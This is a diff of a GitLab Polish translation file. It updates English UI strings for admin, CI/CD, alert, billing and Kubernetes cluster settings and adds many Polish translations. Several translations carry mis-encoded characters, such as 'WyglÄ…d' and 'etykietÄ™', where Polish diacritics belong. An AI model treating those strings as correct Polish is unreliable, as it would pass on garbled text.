msgstr ""
@@ -2554,9 +2575,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2569,19 +2587,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2593,7 +2614,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2602,10 +2623,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -3008,7 +3026,7 @@ msgid "AdminUsers|user cap"
msgstr ""
msgid "Administration"
-msgstr ""
+msgstr "Administracja"
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
@@ -3016,9 +3034,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3026,13 +3056,13 @@ msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
-msgstr ""
+msgstr "Zaawansowane"
msgid "Advanced Search"
-msgstr ""
+msgstr "Zaawansowane wyszukiwanie"
msgid "Advanced Settings"
-msgstr ""
+msgstr "Ustawienia zaawansowane"
msgid "Advanced export options"
msgstr ""
@@ -3041,10 +3071,10 @@ msgid "Advanced permissions, Large File Storage and Two-Factor authentication se
msgstr "Zaawansowane pozwolenia, Magazyn Dużych Plików i Ustawienia dwuskładnikowego uwierzytelnienia."
msgid "After a successful password update you will be redirected to login screen."
-msgstr ""
+msgstr "Po udanej aktualizacji hasła zostaniesz przekierowany do ekranu logowania."
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
-msgstr ""
+msgstr "Po udanej aktualizacji hasła, zostaniesz przekierowany na stronę logowania, gdzie można zalogować się przy użyciu nowego hasła."
msgid "After sign-out path"
msgstr ""
@@ -3062,7 +3092,7 @@ msgid "After you've reviewed these contribution guidelines, you'll be all set to
msgstr ""
msgid "Akismet API Key"
-msgstr ""
+msgstr "Klucz API Akismet"
msgid "Alert"
msgid_plural "Alerts"
@@ -3239,12 +3269,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3371,9 +3407,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3411,19 +3444,19 @@ msgid "AlertsIntegrations|The test alert should now be visible in your alerts li
msgstr ""
msgid "Algorithm"
-msgstr ""
+msgstr "Algorytm"
msgid "All"
-msgstr ""
+msgstr "Wszystkie"
msgid "All %{replicableType} are being scheduled for %{action}"
-msgstr ""
+msgstr "Wszystkie %{replicableType} sÄ… zaplanowane na %{action}"
msgid "All (default)"
-msgstr ""
+msgstr "Wszystkie (domyślnie)"
msgid "All Members"
-msgstr ""
+msgstr "Wszyscy członkowie"
msgid "All branches"
msgstr ""
@@ -3435,14 +3468,17 @@ msgid "All email addresses will be used to identify your commits."
msgstr ""
msgid "All environments"
-msgstr ""
+msgstr "Wszystkie środowiska"
msgid "All epics"
msgstr ""
-msgid "All groups and projects"
+msgid "All escalations rules must have a schedule in the same project as the policy"
msgstr ""
+msgid "All groups and projects"
+msgstr "Wszystkie grupy i projekty"
+
msgid "All issues for this milestone are closed."
msgstr ""
@@ -3489,37 +3525,37 @@ msgid "Allow owners to manage default branch protection per group"
msgstr ""
msgid "Allow owners to manually add users outside of LDAP"
-msgstr ""
+msgstr "Pozwól właścicielom na ręczne dodawanie użytkowników poza LDAP"
msgid "Allow projects and subgroups to override the group setting"
msgstr ""
msgid "Allow projects within this group to use Git LFS"
-msgstr ""
+msgstr "Zezwól projektom w tej grupie korzystać z Git LFS"
msgid "Allow public access to pipelines and job details, including output logs and artifacts."
msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
-msgstr ""
+msgstr "Zezwalaj na renderowanie diagramów PlantUML w dokumentach Asciidoc."
msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
-msgstr ""
+msgstr "Zezwalaj na renderowanie schematów w dokumentach AsciiDoc i Markdown za pomocą %{link}."
msgid "Allow repository mirroring to be configured by project maintainers"
-msgstr ""
+msgstr "Zezwalaj na konfigurowanie kopii lustrzanych repozytorium przez opiekunów projektu"
msgid "Allow requests to the local network from hooks and services."
-msgstr ""
+msgstr "Zezwalaj na żądania do sieci lokalnej z hook'ów i usług."
msgid "Allow requests to the local network from system hooks"
-msgstr ""
+msgstr "Zezwalaj na żądania do sieci lokalnej z hooków systemowych"
msgid "Allow requests to the local network from web hooks and services"
-msgstr ""
+msgstr "Zezwalaj na żądania do sieci lokalnej z webhooków i usług"
msgid "Allow subgroups to set up their own two-factor authentication rules"
-msgstr ""
+msgstr "Zezwalaj podgrupom na ustawianie własnych reguł uwierzytelniania dwuskładnikowego"
msgid "Allow this key to push to this repository"
msgstr ""
@@ -3531,25 +3567,25 @@ msgid "Allow users to dismiss the broadcast message"
msgstr ""
msgid "Allow users to register any application to use GitLab as an OAuth provider"
-msgstr ""
+msgstr "Pozwól użytkownikom na zarejestrowanie GitLaba jako dostawcy OAuth w dowolnej aplikacji"
msgid "Allow users to request access (if visibility is public or internal)"
-msgstr ""
+msgstr "Pozwól użytkownikom prosić o dostęp (jeśli widoczność jest publiczna lub wewnętrzna)"
msgid "Allowed"
-msgstr ""
+msgstr "Dozwolone"
msgid "Allowed Geo IP"
-msgstr ""
+msgstr "Geo IP dozwolone"
msgid "Allowed characters: +, 0-9, -, and spaces."
-msgstr ""
+msgstr "Dozwolone znaki: +, 0-9, - i spacje."
msgid "Allowed email domain restriction only permitted for top-level groups"
-msgstr ""
+msgstr "Ograniczenia domeny e-mail są dozwolone tylko dla grup najwyższego poziomu"
msgid "Allowed group"
-msgstr ""
+msgstr "Dozwolona grupa"
msgid "Allowed to create:"
msgstr ""
@@ -3558,31 +3594,31 @@ msgid "Allowed to fail"
msgstr ""
msgid "Allows projects or subgroups in this group to override the global setting."
-msgstr ""
+msgstr "Pozwala projektom lub podgrupom tej grupy na nadpisanie ustawienia globalnego."
msgid "Allows you to add and manage Kubernetes clusters."
-msgstr ""
+msgstr "Pozwala Tobie dodawać i zarządzać klastrami Kubernetes."
msgid "Almost there"
-msgstr ""
+msgstr "Prawie gotowe"
msgid "Almost there..."
-msgstr ""
+msgstr "Prawie gotowe..."
msgid "Already blocked"
-msgstr ""
+msgstr "Już zablokowany"
msgid "Already have login and password?"
-msgstr ""
+msgstr "Masz już login i hasło?"
msgid "Also called \"Issuer\" or \"Relying party trust identifier\""
-msgstr ""
+msgstr "Zwany także \"wystawcą\" lub \"identyfikatorem zaufania strony ufającej\""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
-msgstr ""
+msgstr "Zwany także \"URL usługi strony ufającej\" lub \"Adres URL odpowiedzi\""
msgid "Also remove direct user membership from subgroups and projects"
-msgstr ""
+msgstr "Usuń również bezpośrednie członkostwo użytkownika z podgrup i projektów"
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3591,34 +3627,31 @@ msgid "Alternate support URL for help page and help dropdown"
msgstr ""
msgid "Alternatively, you can convert your account to a managed account by the %{group_name} group."
-msgstr ""
+msgstr "Alternatywnie, możesz przekonwertować swoje konto na konto zarządzane przez grupę %{group_name}."
msgid "Amazon EKS"
-msgstr ""
+msgstr "Amazon EKS"
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
-msgstr ""
-
-msgid "Amazon Web Services"
-msgstr ""
+msgstr "Integracja z Amazon EKS umożliwia dostarczanie klastrów EKS z GitLaba."
msgid "Amazon Web Services Logo"
-msgstr ""
+msgstr "Logo Amazon Web Services"
msgid "Amazon authentication is not %{link_start}correctly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
-msgstr ""
+msgstr "Uwierzytelnianie Amazon nie jest %{link_start}poprawnie skonfigurowane%{link_end}. Skontaktuj się z administratorem swojego GitLaba, jeśli chcesz korzystać z tej usługi."
msgid "Amount of time (in hours) that users are allowed to skip forced configuration of two-factor authentication"
-msgstr ""
+msgstr "Ilość czasu (w godzinach), przez jaką użytkownicy mogą pominąć wymuszoną konfigurację uwierzytelniania dwuskładnikowego"
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
msgid "An Enterprise User GitLab account has been created for you by your organization:"
-msgstr ""
+msgstr "Konto użytkownika Enterprise GitLab zostało utworzone dla Ciebie przez Twoją organizację:"
msgid "An administrator changed the password for your GitLab account on %{link_to}."
-msgstr ""
+msgstr "Administrator zmienił hasło dla Twojego konta GitLab na %{link_to}."
msgid "An alert has been resolved in %{project_path}."
msgstr ""
@@ -3627,13 +3660,13 @@ msgid "An alert has been triggered in %{project_path}."
msgstr ""
msgid "An application called %{link_to_client} is requesting access to your GitLab account."
-msgstr ""
+msgstr "Aplikacja o nazwie %{link_to_client} prosi o dostęp do Twojego konta w GitLabie."
msgid "An email notification was recently sent from the admin panel. Please wait %{wait_time_in_words} before attempting to send another message."
-msgstr ""
+msgstr "Powiadomienie e-mail zostało niedawno wysłane z panelu administratora. Poczekaj %{wait_time_in_words} przed próbą wysłania kolejnej wiadomości."
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
-msgstr ""
+msgstr "Puste pole Użytkownika GitLabu doda imię i nazwisko użytkownika FogBugz (np. \"John Smith\") w opisie wszystkich zgłoszeń i komentarzy. Będzie również kojarzyć te zgłoszenia i komentarze z twórcą projektu i/lub mu je przypisywać."
msgid "An empty index will be created if one does not already exist"
msgstr ""
@@ -3674,9 +3707,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3728,6 +3758,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3795,40 +3828,43 @@ msgid "An error occurred while fetching the job."
msgstr ""
msgid "An error occurred while fetching the jobs."
-msgstr ""
+msgstr "Wystąpił błąd podczas pobierania zadań."
msgid "An error occurred while fetching the latest pipeline."
-msgstr ""
+msgstr "Wystąpił błąd podczas wczytywania najnowszego potoku."
msgid "An error occurred while fetching the pipeline."
msgstr ""
msgid "An error occurred while fetching the releases. Please try again."
-msgstr ""
+msgstr "Wystąpił błąd podczas pobierania wydań. Spróbuj ponownie."
msgid "An error occurred while fetching this tab."
-msgstr ""
+msgstr "Wystąpił błąd podczas pobierania tej karty."
msgid "An error occurred while generating a username. Please try again."
-msgstr ""
+msgstr "Wystąpił błąd podczas generowania nazwy użytkownika. Proszę, spróbuj ponownie."
msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
-msgstr ""
+msgstr "Wystąpił błąd podczas pobierania danych autouzupełniania. Proszę, odśwież stronę i spróbuj ponownie."
msgid "An error occurred while getting files for - %{branchId}"
+msgstr "Wystąpił błąd podczas pobierania plików dla - %{branchId}"
+
+msgid "An error occurred while getting issue counts"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
msgid "An error occurred while initializing path locks"
-msgstr ""
+msgstr "Wystąpił błąd podczas inicjowania blokad ścieżek"
msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
-msgstr ""
+msgstr "Wystąpił błąd podczas ładowania wszystkich plików."
msgid "An error occurred while loading chart data"
msgstr "Wystąpił błąd podczas ładowania danych wykresu"
@@ -3840,40 +3876,40 @@ msgid "An error occurred while loading designs. Please try again."
msgstr ""
msgid "An error occurred while loading diff"
-msgstr ""
+msgstr "Wystąpił błąd podczas ładowania diff"
msgid "An error occurred while loading filenames"
msgstr ""
msgid "An error occurred while loading group members."
-msgstr ""
+msgstr "Wystąpił błąd podczas ładowania członków grupy."
msgid "An error occurred while loading issues"
msgstr ""
msgid "An error occurred while loading merge requests."
-msgstr ""
+msgstr "Wystąpił błąd podczas ładowania merge requestów."
msgid "An error occurred while loading the access tokens form, please try again."
-msgstr ""
+msgstr "Wystąpił błąd podczas ładowania formularza tokenów dostępu, proszę, spróbuj ponownie."
msgid "An error occurred while loading the data. Please try again."
-msgstr ""
+msgstr "Wystąpił błąd podczas ładowania danych. Proszę, spróbuj ponownie."
msgid "An error occurred while loading the file"
-msgstr ""
+msgstr "Wystąpił błąd podczas wczytywania pliku"
msgid "An error occurred while loading the file content."
-msgstr ""
+msgstr "Wystąpił błąd podczas ładowania zawartości pliku."
msgid "An error occurred while loading the file."
-msgstr ""
+msgstr "Wystąpił błąd podczas ładowania pliku."
msgid "An error occurred while loading the file. Please try again later."
-msgstr ""
+msgstr "Wystąpił błąd podczas ładowania pliku. Proszę, spróbuj ponownie później."
msgid "An error occurred while loading the file. Please try again."
-msgstr ""
+msgstr "Wystąpił błąd podczas ładowania pliku. Proszę, spróbuj ponownie."
msgid "An error occurred while loading the merge request changes."
msgstr ""
@@ -3888,16 +3924,16 @@ msgid "An error occurred while loading the notification settings. Please try aga
msgstr ""
msgid "An error occurred while loading the pipeline."
-msgstr ""
+msgstr "Wystąpił błąd podczas ładowania potoku."
msgid "An error occurred while loading the pipelines jobs."
-msgstr ""
+msgstr "Wystąpił błąd podczas ładowania zadań potoków."
msgid "An error occurred while loading your content. Please try again."
msgstr ""
msgid "An error occurred while making the request."
-msgstr ""
+msgstr "Wystąpił błąd podczas wykonywania żądania."
msgid "An error occurred while moving the issue."
msgstr ""
@@ -3906,7 +3942,7 @@ msgid "An error occurred while parsing recent searches"
msgstr ""
msgid "An error occurred while parsing the file."
-msgstr ""
+msgstr "Wystąpił błąd podczas przetwarzania pliku."
msgid "An error occurred while removing epics."
msgstr ""
@@ -3918,7 +3954,7 @@ msgid "An error occurred while rendering preview broadcast message"
msgstr ""
msgid "An error occurred while rendering the editor"
-msgstr ""
+msgstr "Wystąpił błąd podczas renderowania edytora"
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3936,13 +3972,13 @@ msgid "An error occurred while retrieving diff files"
msgstr ""
msgid "An error occurred while retrieving projects."
-msgstr ""
+msgstr "Wystąpił błąd podczas pobierania projektów."
msgid "An error occurred while saving changes: %{error}"
msgstr ""
msgid "An error occurred while subscribing to notifications."
-msgstr ""
+msgstr "Wystąpił błąd podczas subskrybowania powiadomień."
msgid "An error occurred while triggering the job."
msgstr ""
@@ -3974,9 +4010,6 @@ msgstr "Wystąpił błąd podczas aktualizacji komentarza"
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4098,43 +4131,43 @@ msgid "Any milestone"
msgstr ""
msgid "Any namespace"
-msgstr ""
+msgstr "Dowolna przestrzeń nazw"
msgid "Any user"
-msgstr ""
+msgstr "Dowolny użytkownik"
msgid "App ID"
-msgstr ""
+msgstr "ID aplikacji"
msgid "Appearance"
-msgstr ""
+msgstr "WyglÄ…d"
msgid "Appearance was successfully created."
-msgstr ""
+msgstr "Wygląd został pomyślnie utworzony."
msgid "Appearance was successfully updated."
-msgstr ""
+msgstr "Wygląd został pomyślnie zaktualizowany."
msgid "Append the comment with %{shrug}"
msgstr ""
msgid "Append the comment with %{tableflip}"
-msgstr ""
+msgstr "Dodaj %{tableflip} na końcu komentarza"
msgid "Application"
-msgstr ""
+msgstr "Aplikacja"
msgid "Application ID"
-msgstr ""
+msgstr "ID aplikacji"
msgid "Application limits saved successfully"
msgstr ""
msgid "Application settings saved successfully"
-msgstr ""
+msgstr "Ustawienia aplikacji zapisane pomyślnie"
msgid "Application settings update failed"
-msgstr ""
+msgstr "Aktualizacja ustawień aplikacji nie powiodła się"
msgid "Application uninstalled but failed to destroy: %{error_message}"
msgstr ""
@@ -4143,10 +4176,10 @@ msgid "Application was successfully destroyed."
msgstr ""
msgid "Application was successfully updated."
-msgstr ""
+msgstr "Aplikacja została pomyślnie zaktualizowana."
msgid "Application: %{name}"
-msgstr ""
+msgstr "Aplikacja: %{name}"
msgid "ApplicationSettings|After sign up text"
msgstr ""
@@ -4188,7 +4221,7 @@ msgid "ApplicationSettings|Enter denylist manually"
msgstr ""
msgid "ApplicationSettings|Markdown enabled"
-msgstr ""
+msgstr "Markdown włączony"
msgid "ApplicationSettings|Minimum password length (number of characters)"
msgstr ""
@@ -4206,7 +4239,7 @@ msgid "ApplicationSettings|Restricts sign-ups for email addresses that match the
msgstr ""
msgid "ApplicationSettings|Save changes"
-msgstr ""
+msgstr "Zapisz zmiany"
msgid "ApplicationSettings|See GitLab's %{linkStart}Password Policy Guidelines%{linkEnd}"
msgstr ""
@@ -4221,7 +4254,7 @@ msgid "ApplicationSettings|Upload denylist file"
msgstr ""
msgid "ApplicationSettings|User cap"
-msgstr ""
+msgstr "Limit użytkownika"
msgid "ApplicationSettings|Users with e-mail addresses that match these domain(s) will NOT be able to sign-up. Wildcards allowed. Use separate lines for multiple entries. Ex: domain.com, *.domain.com"
msgstr ""
@@ -4236,34 +4269,31 @@ msgid "ApplicationSettings|When enabled, any user visiting %{host} will be able
msgstr ""
msgid "ApplicationSettings|domain.com"
-msgstr ""
+msgstr "domena.com"
msgid "Applications"
-msgstr ""
+msgstr "Aplikacje"
msgid "Applied"
-msgstr ""
+msgstr "Zastosowano"
msgid "Apply"
-msgstr ""
+msgstr "Zastosuj"
msgid "Apply a label"
-msgstr ""
+msgstr "Zastosuj etykietÄ™"
msgid "Apply a template"
-msgstr ""
-
-msgid "Apply changes"
-msgstr ""
+msgstr "Zastosuj szablon"
msgid "Apply suggestion"
-msgstr ""
+msgstr "Zastosuj sugestiÄ™"
msgid "Apply suggestions"
-msgstr ""
+msgstr "Zastosuj sugestie"
msgid "Apply template"
-msgstr ""
+msgstr "Zastosuj szablon"
msgid "Apply this approval rule to any branch or a specific protected branch."
msgstr ""
@@ -4353,15 +4383,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4751,9 +4775,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4944,9 +4965,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5334,6 +5352,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5480,6 +5501,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5541,6 +5565,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5571,6 +5598,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5793,6 +5823,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5920,7 +5953,7 @@ msgid "ByAuthor|by"
msgstr ""
msgid "CHANGELOG"
-msgstr ""
+msgstr "CHANGELOG"
msgid "CI Lint"
msgstr ""
@@ -5961,6 +5994,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -6010,11 +6046,11 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
-msgstr "Proces Automatyczny DevOps zostanie uruchomiony, jeśli nie zostanie znaleziony alternatywny plik konfiguracji CI."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgstr ""
msgid "CICD|group enabled"
msgstr ""
@@ -6058,6 +6094,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6181,9 +6220,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6289,15 +6325,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6574,6 +6610,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6676,9 +6715,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6706,6 +6742,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -7135,9 +7174,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7147,24 +7183,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -7198,15 +7222,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7219,9 +7234,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7243,9 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7264,15 +7273,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7294,9 +7294,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr "Wybierz, które z Twoich środowisk będą używać tego klastra."
@@ -7309,15 +7306,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7339,15 +7333,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7396,12 +7381,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
